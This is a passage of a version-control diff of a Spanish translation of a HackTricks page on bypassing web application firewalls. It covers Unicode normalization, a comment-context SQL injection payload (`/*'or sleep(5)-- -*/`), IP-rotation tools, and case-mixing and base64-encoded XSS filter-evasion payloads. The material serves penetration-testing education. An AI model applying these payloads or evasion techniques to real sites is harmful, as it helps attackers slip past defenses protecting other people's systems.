Dependiendo de la implementación de la normalización de Unicode (más información [aquí](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), los caracteres que comparten compatibilidad Unicode pueden ser capaces de eludir el WAF y ejecutarse como la carga útil prevista. Los caracteres compatibles se pueden encontrar [aquí](https://www.compart.com/en/unicode).
|
||||
|
||||
#### Ejemplo <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -160,7 +177,7 @@ En la publicación se sugieren los siguientes bypass finales:
|
||||
|
||||
También se menciona que dependiendo de **cómo algunos WAFs entienden el contexto** de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai permite poner cualquier cosa entre `/*` y `*/` (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una inyección SQL como `/*'or sleep(5)-- -*/` no será detectada y será válida ya que `/*` es la cadena de inicio de la inyección y `*/` está comentada.
|
||||
|
||||
Este tipo de problemas de contexto también se pueden usar para **abusar de otras vulnerabilidades que no son las que se espera que sean explotadas por el WAF** (por ejemplo, esto también podría usarse para explotar un XSS).
|
||||
Estos tipos de problemas de contexto también se pueden usar para **abusar de otras vulnerabilidades que no son las que se espera que sean explotadas por el WAF** (por ejemplo, esto también podría usarse para explotar un XSS).
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
@ -170,15 +187,15 @@ h2c-smuggling.md
|
||||
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generar una URL de API gateway para usar con ffuf
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generar una URL de puerta de enlace API para usar con ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar a fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que utiliza IPs de API gateway
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que utiliza IPs de puerta de enlace API
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un número determinado dinámicamente de instancias de contenedor se activan según el tamaño del archivo de entrada y el factor de división, con la entrada dividida en fragmentos para ejecución paralela, como 100 instancias procesando 100 fragmentos de un archivo de entrada de 10,000 líneas con un factor de división de 100 líneas.
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex Bypasses
|
||||
|
||||
Se pueden utilizar diferentes técnicas para eludir los filtros regex en los firewalls. Ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar cargas útiles. Los recursos para los diversos bypasses se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Los ejemplos a continuación se extrajeron de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
Se pueden utilizar diferentes técnicas para eludir los filtros regex en los firewalls. Los ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar cargas útiles. Los recursos para los diversos bypass se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Los ejemplos a continuación se extrajeron de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
- [Cómo encontré una toma de control de cuenta 0-Click en un BBP público y la aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user